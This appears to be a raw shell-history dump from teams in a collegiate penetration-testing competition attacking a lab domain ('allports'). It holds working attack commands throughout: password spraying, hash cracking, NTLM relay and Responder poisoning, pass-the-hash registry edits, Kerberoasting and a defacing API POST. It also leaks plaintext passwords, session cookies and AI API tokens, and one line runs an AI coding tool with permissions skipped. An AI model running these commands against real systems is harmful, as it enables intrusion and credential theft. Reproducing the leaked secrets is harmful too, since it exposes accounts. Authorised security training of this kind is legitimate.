sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF\
Types: deb\
URIs: https://download.docker.com/linux/debian\
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")\
Components: stable\
Signed-By: /etc/apt/keyrings/docker.asc\
EOF\
\
sudo apt update


_raw:
: 1768055966:0;sudo apt update\
sudo apt install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF\
Types: deb\
URIs: https://download.docker.com/linux/ubuntu\
Suites: $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}")\
Components: stable\
Signed-By: /etc/apt/keyrings/docker.asc\
EOF\
\
sudo apt update


_raw: : 1768055954:0;sudo apt install enum4linux-ng


_raw: : 1768055941:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope --local-auth


_raw: : 1768055941:0;xclip -sel c < templates/index.html


_raw: : 1768055940:0;sudo vim /etc/profile.d/history-flush.sh


_raw: : 1768055927:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055919:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768055914:0;certipy-ad find -target 10.0.1.6 -u 'pentester' -p ')u1h55hm-h(M(7nV'


_raw: : 1768055896:0;sudo docker inspect 44f0f3391f2a --format '{{.RestartCount}}'\


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M entra-id


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M sccm -o REC_RESOLVE=TRUE


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --dc-list


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --gmsa


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-desc-users


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-decs-users


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-descs-users


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --admin-count


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --trusted-for-delegation


_raw: : 1768055893:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --active-users


_raw: : 1768055893:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --shares


_raw: : 1768055893:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --pass-pol


_raw: : 1768055893:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --as-pol


_raw: : 1768055893:0;enum4linux-ng 10.0.1.6 -u svc_stabilize -p 1gyrscope


_raw: : 1768055893:0;enum4linux 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: : 1768055893:0;enum4linux 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768055893:0;enum4linux -u svc_stabilize -p 1gyroscope


_raw: : 1768055893:0;python3 autoWin.py 10.0.1.21 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation


_raw: : 1768055893:0;python3 autoWin.py 10.0.1.20 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation


_raw: : 1768055893:0;python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation


_raw: : 1768055893:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(& (objectCategory=persaon)(objectClass=user))" | grep 'distinguishedName:'


_raw: : 1768055893:0;python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -ldapsearch


_raw: : 1768055893:0;python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -ldpasearch


_raw: : 1768055893:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local'


_raw: : 1768055893:0;cat allusers.txt | awk '{print $1}' > alluser.txt


_raw: : 1768055893:0;impacket-GetADUsers -all allports.local/svc_stabilize:1gyroscope > allusers.txt


_raw: : 1768055893:0;impacket-GetADUsers -all allports.local/svc_stabilize:1gyroscope


_raw: : 1768055893:0;nxc smb 10.0.1.6-21 -u svc_stabilize -p 1gyroscope -k


_raw: : 1768055893:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k


_raw: : 1768055893:0;python3 autoWin.py 10.0.1.6-21 -u svc_stabilize -p 1gyroscope -enum


_raw: : 1768055893:0;enum4linux -u svc_stabilize -p 1gyroscope -k


_raw: : 1768055893:0;nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k --shares


_raw: : 1768055893:0;nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k --rid-brute


_raw: : 1768055893:0;nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k --users


_raw: : 1768055893:0;nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k


_raw: : 1768055893:0;nxc smb 10.0.1.21 -u svc_stablize -p 1gyroscope -k


_raw: : 1768055893:0;nxc smb 10.0.1.21 -u svc_stablize -p 1gyroscope


_raw: : 1768055893:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team5-key2-9d50ac41-a649-443f-9fcb-5ab78d9b1973"' >> ~/.bashrc


_raw: : 1768055893:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw:
: 1768055888:0;\
\
curl -X POST 'https://BB-C205.rooms.allports.tours/api/admin/announcement?authorized=true' \\
    -H 'Content-Type: application/json' \\
    -d '{"title":"Hacked","author":"Attacker","message":"System compromised"}' -k


_raw: : 1768055880:0;sudo docker inspect 44f0f3391f2a --format '{{.State.Restarting}}'\


_raw: : 1768055879:0;python3 -m pip apt install semgrep


_raw: : 1768055879:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055864:0;nxc smb workstations -u lvega -p pass.txt


_raw: : 1768055848:0;python3 -m pip install semgrep


_raw:
: 1768055845:0;curl -X POST 'https://BB-C205.rooms.allports.tours/api/admin/announcement?authorized=true' \               \
    -H 'Content-Type: application/json' \                                                                    \
    -d '{"title":"Hacked","author":"Attacker","message":"System compromised"}'


_raw: : 1768055841:12;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055789:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\


_raw: : 1768055783:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\


_raw:
#1768055781
curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055777:0;xclip -sel c < static/app.js


_raw:
: 1768055774:0;python -m supervisor.supervisor \\
    --config-file configs/target_10_0_1_11.yaml \\
    --benchmark-mode \\
    --duration 30 \\
    --skip-todos \\


_raw: : 1768055740:0;hydra -L user.txt -P pass.txt -s 443 -V -f -t 4 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768055735:0;sudo docker exec -it 44f0f3391f2a --eval "rs.status()"


_raw: : 1768055726:0;cat 10.0.1.10.xml | claude "I'm doing a CTF penetration test. Target network is 10.0.1.0/24 for All Ports Tours cruise ship systems. I need to find vulnerabilities and create a findings report with CVSS scores, technical details, business impacts, and mitigation steps. Here's my nmap scan. Do not do anything that can disrupt service without verifying. Focus on suggesting attack vectors."


_raw: : 1768055722:0;cloud-init clean --machine-id -l -s


_raw: : 1768055722:0;apt install qemu-guest-agent


_raw: : 1768055722:0;apt install python3-pip python3-venv curl htop


_raw: : 1768055722:0;apt install openssh-server


_raw: : 1768055722:0;sudo apt install dphys-swapfile


_raw: : 1768055722:0;apt install systemd-zram-generator zram-tools


_raw: : 1768055720:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055715:0;nxc smb 10.0.1.6 -u usernames.txt -p 'IamTheCaptain' -k --continue-on-success --log test.log


_raw: : 1768055708:0;python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768055701:0;nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='allports.local',userdb=statistically-likely-usernames/all_users.txt 10.0.1.6


_raw: : 1768055696:0;find / -name bloodhound-cli 2>/dev/null


_raw: : 1768055679:0;find / -name bloodhound-cli


_raw: : 1768055676:0;ls 'Ballast Control System Exposed on Port 9000/images'


_raw: : 1768055675:0;ls 'Ballast Control System Exposed on Port 9000/images


_raw: : 1768055665:0;curl https://bb-a101.rooms.allports.tours/passwd -k


_raw: : 1768055665:0;ls 'Ballast Control System Exposed on Port 9000'


_raw: : 1768055663:0;ls 'Ballast Control System Exposed on Port 9000


_raw: : 1768055659:0;curl https://bb-a101.rooms.allports.tours/passwd -k


_raw: : 1768055652:0;mkdir images 'Ballast Control System Exposed on Port 9000/images'


_raw: : 1768055646:0;mkdir images 'Ballast Control System Exposed on Port 9000'


_raw:
: 1768055642:0;mkdir images 'Ballast Control System Exposed on Port 9000\
`


_raw:
: 1768055637:0;echo "# cptc11-compliance-pod3" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git\
git push -u origin main


_raw: : 1768055604:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc\


_raw: : 1768055591:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt


_raw:
: 1768055584:0;gobuster vhost -u http://10.0.1.30:8000 \\
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\
  --domain allports.tours \\
  -t 50


_raw:
: 1768055567:0;for user in aallen abrooks acarter administrator; do\
    echo "=== $user ==="\
    impacket-getTGT allports.local/$user -no-pass -dc-ip 10.0.1.6 2>&1 | head -3\
done


_raw: : 1768055557:0;john --format=crypt unshadowed.txt --wordlist=../University-of-California-Irvine/wordlists/rockyou.txt


_raw: : 1768055557:0;hydra -L user.txt -P pass.txt -s 80 -V -f -t 1 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768055552:0;./kerbrute -t 1 -v -d 'APT' -o account_enumeration/anchor_pass_1.txt --dc 10.0.1.6 passwordspray new_big_APT_valid_username_list.txt @nchor2024


_raw: : 1768055548:0;hydra -L user.txt -P pass.txt -s 80 -V -f -t 1 admin.rooms.allports.tours http-get /admin.html -c


_raw: : 1768055536:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\


_raw: : 1768055535:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768055527:0;nxc smb 10.0.1.6 -u "username" -p "password" --rid-brute


_raw: : 1768055522:0;unzip roomconsole.zip -d roomconsole


_raw: : 1768055517:0;john --format=crypt unshadowed.txt --wordlist= ../University-of-California-Irvine/wordlists/rockyou.txt


_raw:
: 1768055515:0;# Since http-vhosts found 128 names, let's enumerate them\
gobuster vhost -u http://10.0.1.30:8000 \\
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\
  --append-domain -d allports.tours \\
  -t 50


_raw: : 1768055511:0;./kerbrute -t 1 -v -d 'APT' -o account_enumeration/re_validating_valid_usernames.txt --dc 10.0.1.6 userenum new_big_APT_valid_username_list.txt


_raw: : 1768055510:0;ldapsearch -x -H ldap://10.0.1.6 -b "CN=Configuration,DC=allports,DC=local" "(objectClass=user)"


_raw: : 1768055510:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768055505:0;ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectClass=*)" namingContexts


_raw: : 1768055497:0;./kerbrute -t 1 -v -d 'APT' -o account_enumeration/re_validating_valid_usernames.txt --dc 10.0.1.6 pauserenum new_big_APT_valid_username_list.txt


_raw: : 1768055491:0;john --format=crypt unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt


_raw:
ls -al
cd
cd participant_env/verbose-log/logs
ll


_raw:
ip a
sudo apt intsall open-ssh-server
ssh --versoin
sudo apt install open-ssh-esrver\
sudo apt install open-ssh-server
sudo apt install openssh-server
systemctl start openssh-server
systemctl start ssh
systemctl status
systemctl status ssh


_raw:
nmap -O 10.0.1.11
nmap -O -sV 10.0.1.11
nmap -O 10.0.1.6
nmap -O 10.0.1.10
nmap -O 10.0.1.11
nmap -O 10.0.1.13
nmap -O 10.0.1.14
nmap -O 10.0.1.20
nmap -O 10.0.1.21
nxc smb 10.0.1.6
sudo apt update
sudo apt install docker.io
sudo apt install docker-compose
git clone https://github.com/overleaf/overleaf.git
cd overleaf
ls
docker-compose build
docker-compose up
sudo docker-compose up
docker inspect --format '{{json .State.Health}}' <container_name_or_id>\
sudo docker ps
docker-compose logs mongo
sudo docker-compose logs mongo
sudo docker-compose down
docker-compose down -v
sudo docker-compose down -v
sudo docker-compoes down v
sudo docker-compose down -v
cat /etc/hostname
cat /etc/hosts
sudo nano /etc/hosts
sudo reboot


_raw:
: 1768055484:0;# Maybe it only responds to POST\
curl -v -X POST http://10.0.1.30:8000/\
curl -v -X POST http://10.0.1.30:8000/ -d "data=test"\
curl -v -X POST http://10.0.1.30:8000/ -H "Content-Type: application/json" -d '{"test":"data"}'


_raw: : 1768055475:0;mv ~/Downloads/2_history.pdf .


_raw:
: 1768055472:0;# Use verbose curl with timing\
curl -v -w "\n\nTime Total: %{time_total}s\nHTTP Code: %{http_code}\nSize: %{size_download}\n" \\
  http://10.0.1.30:8000/ 2>&1 | tee http_response.txt\
\
# Check if there's a body\
curl -v http://10.0.1.30:8000/ -o response_body.html 2>&1\
cat response_body.html\
file response_body.html


_raw: : 1768055472:0;impacket-lookupsid allports.local/@10.0.1.6 -no-pass


_raw: : 1768055461:0;ffuf -u https://chat.allports.tours/W1/W2 -w /usr/share/wordlists/dirb/small.txt:W1 /usr/share/wordlists/dirb/small.txt:W2 -b session=.eJwljjlOBDEQAP_imKAPd7e9nxnZfQiEBNLMboT4OyMRVlVSP-2oM6_39nier3xrx0e0RzOaS9Mm2FwQCZ139jHTTHlLMVYvC8wi7D3cuONyFCwbKEMNVKinUG0ZSQvuTOxSWUiEiUwbyBDEXD0Hg0tKuPIIHLmr3SOvK8__m3mjX2cdz-_P_LqFCqgXbg2liTHH1kXASrGSLNUFlqzQ9vsHSMQ-Ug.aWJeXw.gcnxVrDPEa9uFPYlBLG9guAjfk0 -mode clusterbomb #2>/dev/null


_raw:
: 1768055460:0;curl -k -X 'GET' \\
  'https://penny.allports.tours:8045/health' \\
  -H 'accept: application/json'


_raw: : 1768055459:0;hydra -L user.txt -P pass.txt -s 80 -V -f -t 4 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768055457:0;impacket-lookupsid guest@10.0.1.6 -no-pass


_raw: : 1768055447:0;impacket-lookupsid allports.local/guest@10.0.1.6 -no-pass


_raw:
: 1768055445:0;# Try with User-Agent (some services require it)\
curl -v http://10.0.1.30:8000/ -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"\
\
# Try with more complete headers\
curl -v http://10.0.1.30:8000/ \\
  -H "Host: allports.tours" \\
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" \\
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \\
  -H "Accept-Language: en-US,en;q=0.5" \\
  -H "Accept-Encoding: gzip, deflate" \\
  -H "Connection: keep-alive" \\
  -H "Upgrade-Insecure-Requests: 1"


_raw: : 1768055443:0;sudo mitm6 -d allports.local


_raw: : 1768055436:0;ldapsearch -x -H ldap://10.0.1.6 "(objectClass=user)" sAMAccountName


_raw: : 1768055432:0;ldapsearch -x -H ldap://10.0.1.6:3268 -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName


_raw: : 1768055430:0;impacket-ntlmrelayx -6 -t ldap://10.0.1.6 -wh fake.allports.local -l output


_raw:
: 1768055419:0;# Add entries to /etc/hosts\
sudo bash -c 'cat >> /etc/hosts << EOF\
10.0.1.30 allports.tours\
10.0.1.30 chat.allports.tours\
10.0.1.30 api.allports.tours\
10.0.1.30 admin.allports.tours\
10.0.1.30 dashboard.allports.tours\
10.0.1.30 app.allports.tours\
EOF'\
\
# Now try with actual hostnames\
curl -v http://allports.tours:8000/\
curl -v http://chat.allports.tours:8000/\
curl -v http://api.allports.tours:8000/\
curl -v http://admin.allports.tours:8000/\
curl -v http://dashboard.allports.tours:8000/\
curl -v http://app.allports.tours:8000/


_raw: : 1768055419:0;bloodhound-python -c all -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local


_raw: : 1768055414:0;impacket-GetNPUsers -request -dc-ip 10.0.1.6 -usersfile user.txt allports.local/ -no-pass


_raw: : 1768055393:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-your-key-here"' >> ~/.bashrc


_raw: : 1768055383:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768055369:0;hydra -L user.txt -P pass.txt -V -s admin.rooms.allports.tours 80 http-get /admin.html


_raw: : 1768055355:0;hydra -L user.txt -P pass.txt -V -s admin.rooms.allports.tours 80  http-get/admin.html


_raw:
: 1768055347:0;john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt\
\
# Show results\
john --show unshadowed.txt


_raw: : 1768055335:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key4-4e940c5b-7923-4abf-a372-fa5e5c8bfd11"' >> ~/.bashrc


_raw: : 1768055332:0;unshadow root.txt hash.txt > unshadowed.txt


_raw: : 1768055331:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(sAMAccountName=akim)"


_raw: : 1768055305:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\


_raw: : 1768055268:0;sudo apt install exiftool


_raw: : 1768055242:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055240:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName


_raw: : 1768055219:0;python3 ssh_sprayer.py -u garry -p letmein -r 10.0.1.0/25 -t 5


_raw: : 1768055204:0;sudo nano docker-compose.yml


_raw: : 1768055187:0;impacket-ntlmrelayx -t ldap://10.0.1.20 --delegate-access


_raw: : 1768055186:0;sudo nmap -p 8000 --script=default,discovery,safe 10.0.1.30


_raw: : 1768055171:0;printf "POST / HTTP/1.1\r\nHost: 10.0.1.30\r\nContent-Type: application/json\r\nContent-Length: 20\r\n\r\n{\"command\":\"help\"}" | nc -nv 10.0.1.30 8000


_raw: : 1768055168:0;python3 ssh_sprayer.py -u ubuntu -p ubuntu -r 10.0.1.0/25 -t 5


_raw:
: 1768055158:0;# Save hash to file\
echo 'root:$y$j9T$PV6puayTYSDMidxkGEBZt/$wRWXgXAf.yJbJxxMcO9ns1TvkViF.8v9uovPjMdi1eC' > hash.txt\
\
# Crack with wordlist\
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\
\
# Crack with rules\
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hash.txt\
\
# Show cracked password\
john --show hash.txt


_raw: : 1768055157:0;impacket-\ntlmrelayx -t smb://10.0.1.20 -smb2support -c "whoami"


_raw: : 1768055150:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt -h


_raw: : 1768055147:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768055147:0;mv ~/Downloads/network\ scan\ quick.pdf ~/ai/cptc-ai-example


_raw: : 1768055143:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt


_raw: : 1768055126:0;cat * | sort | uniq > all_users.txt


_raw: : 1768055109:0;python3 ssh_sprayer.py -u garry.b -p letmein -r 10.0.1.0/25 -t 5


_raw: : 1768055107:0;cp ~/Downloads/john.smith.txt account_enumeration/.


_raw: : 1768055098:0;git clone https://github.com/insidetrust/statistically-likely-usernames.git


_raw: : 1768055075:0;sudo docker-compose logs sharelatex


_raw: : 1768055069:0;python3 ssh_sprayer.py -u g.bobson -p letmein -r 10.0.1.0/25 -t 5


_raw: : 1768055067:0;[200~docker-compose logs sharelatex


_raw: : 1768055065:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local'


_raw: : 1768055063:0;mysql -h admin.rooms.allports.tours -P 3306 -u root -p root


_raw: : 1768055060:0;mysql -h admin.rooms.allports.tours -P 3306 -u root


_raw: : 1768055054:0;mysql -h rooms.allports.tours -P 3306 -u root


_raw: : 1768055053:0;nxc smb 10.0.1.6 -u administrator -p '' --local-auth


_raw: : 1768055046:0;nxc smb 10.0.1.21 -u administrator -p '' --local-auth


_raw: : 1768055038:0;nxc smb 10.0.1.20 -u administrator -p '' --local-auth


_raw: : 1768055022:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support


_raw: : 1768055019:0;impacket-reg administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3 add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin -vt REG_DWORD -vd 0


_raw: : 1768055017:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768055015:0;mysql -u root -p -h 10.0.1.99 --ssl-verify-server-cert=false


_raw: : 1768055014:0;mv kerbrute_linux_amd64 kerbrute


_raw: : 1768055011:0;chmod +x kerbrute_linux_amd64


_raw: : 1768055006:0;mysql -H rooms.allports.tours -P 3306 -u root -p root


_raw: : 1768055005:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis:rosdave50


_raw: : 1768054999:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis:rosdav5O


_raw: : 1768054997:0;mysql -H rooms.allports.tours -u root -p root


_raw: : 1768054995:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis:rosdav5o


_raw: : 1768054988:0;python3 ssh_sprayer.py -u garry.bobson -p letmein -r 10.0.1.0/24 -t 5


_raw: : 1768054988:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/dirb/big.txt -b session=.eJwljjlOBDEQAP_imKAPd7e9nxnZfQiEBNLMboT4OyMRVlVSP-2oM6_39nier3xrx0e0RzOaS9Mm2FwQCZ139jHTTHlLMVYvC8wi7D3cuONyFCwbKEMNVKinUG0ZSQvuTOxSWUiEiUwbyBDEXD0Hg0tKuPIIHLmr3SOvK8__m3mjX2cdz-_P_LqFCqgXbg2liTHH1kXASrGSLNUFlqzQ9vsHSMQ-Ug.aWJeXw.gcnxVrDPEa9uFPYlBLG9guAjfk0 | grep -vi progress


_raw: : 1768054981:0;python3 ssh_sprayer.py -u garry.bobson -p letmein -r 10.0.1.10/24 -t 5


_raw: : 1768054978:0;./kerbrute -t 1 -v -d 'allports.tours' -o account_enumeration/garrybobson_enum_3 --dc 10.0.1.6 userenum garry_user.txt


_raw: : 1768054974:0;python3 ssh_sprayer.py -u garry.bobson -p letmein -r 10.0.1.10/24


_raw: : 1768054972:0;hashcat hash.txt University-of-California-Irvine/wordlists/rockyou.txt


_raw: : 1768054965:0;kerbrute userenum --dc 10.0.1.6 -v service.txt


_raw: : 1768054965:0;./kerbrute -t 1 -v -d 'allports.local' -o account_enumeration/garrybobson_enum_2 --dc 10.0.1.6 userenum garry_user.txt


_raw: : 1768054955:0;kerbrute userenum -d allports.local --dc 10.0.1.6 -v service.txt


_raw: : 1768054946:0;kerbrute userenum -d allports.local --dc 10.0.1.6 service.txt


_raw: : 1768054945:0;sudo mv ./rustscan /usr/local/bin/rustscan


_raw: : 1768054935:0;sudo apt install -y bloodhound


_raw: : 1768054882:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw:
: 1768054871:0;curl --request POST \\
  --url https://traefik.github.io/weather-forecast \\
  --header 'Accept: application/json' \\
  --header 'Content-Type: application/json' \\
  --data '{\
  "city": "string",\
  "forecast": [\
    {\
      "day": "string",\
      "temperature": 0,\
      "condition": "string"\
    }\
  ]\
}'


_raw: : 1768054863:0;./kerbrute -t 1 -v -d 'APT' -o account_enumeration/garrybobson_enum_1 --dc 10.0.1.6 userenum garry_user.txt


_raw: : 1768054851:0;./kerbrute -t 1 -v -d 'APT.local' -o account_enumeration/garrybobson_enum_1 --dc 10.0.1.6 userenum garry_user.txt


_raw: : 1768054850:0;sudo apt install enum4linux-ng


_raw: : 1768054846:0;hydra -L user.txt -P pass.txt -M targets.txt mysql -o MYSQL_OPT_SSL_VERIFY_SERVER_CERT=0


_raw: : 1768054839:0;./kerbrute -t 1 -v -d 'APT' -o account_enumeration/garrybobson_enum_1 --dc 10.0.1.6 userenum garry_user.txt


_raw: : 1768054838:0;crackmapexec smb 10.0.1.0/24 -u SVC_STABILIZE -p 1gyroscope --shares


_raw: : 1768054828:0;sudo responder -I eth0 --lm


_raw: : 1768054809:0;git clone https://github.com/cedowens/SSH-Password-Sprayer.git


_raw: : 1768054800:0;cp config.yaml.example config.yaml


_raw: : 1768054793:0;hydra -L user.txt -P pass.txt -M targets.txt mysql --ssl-verify-server-cert=false


_raw: : 1768054788:0;nxc ssh 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw: : 1768054782:0;docker start -i vulnhuntr


_raw: : 1768054781:0;./kerbrute -t 1 -v -d 'APT' -o account_enumeration/garrybobson_enum_1 --dc 10.0.1.6 userenum garry.bobson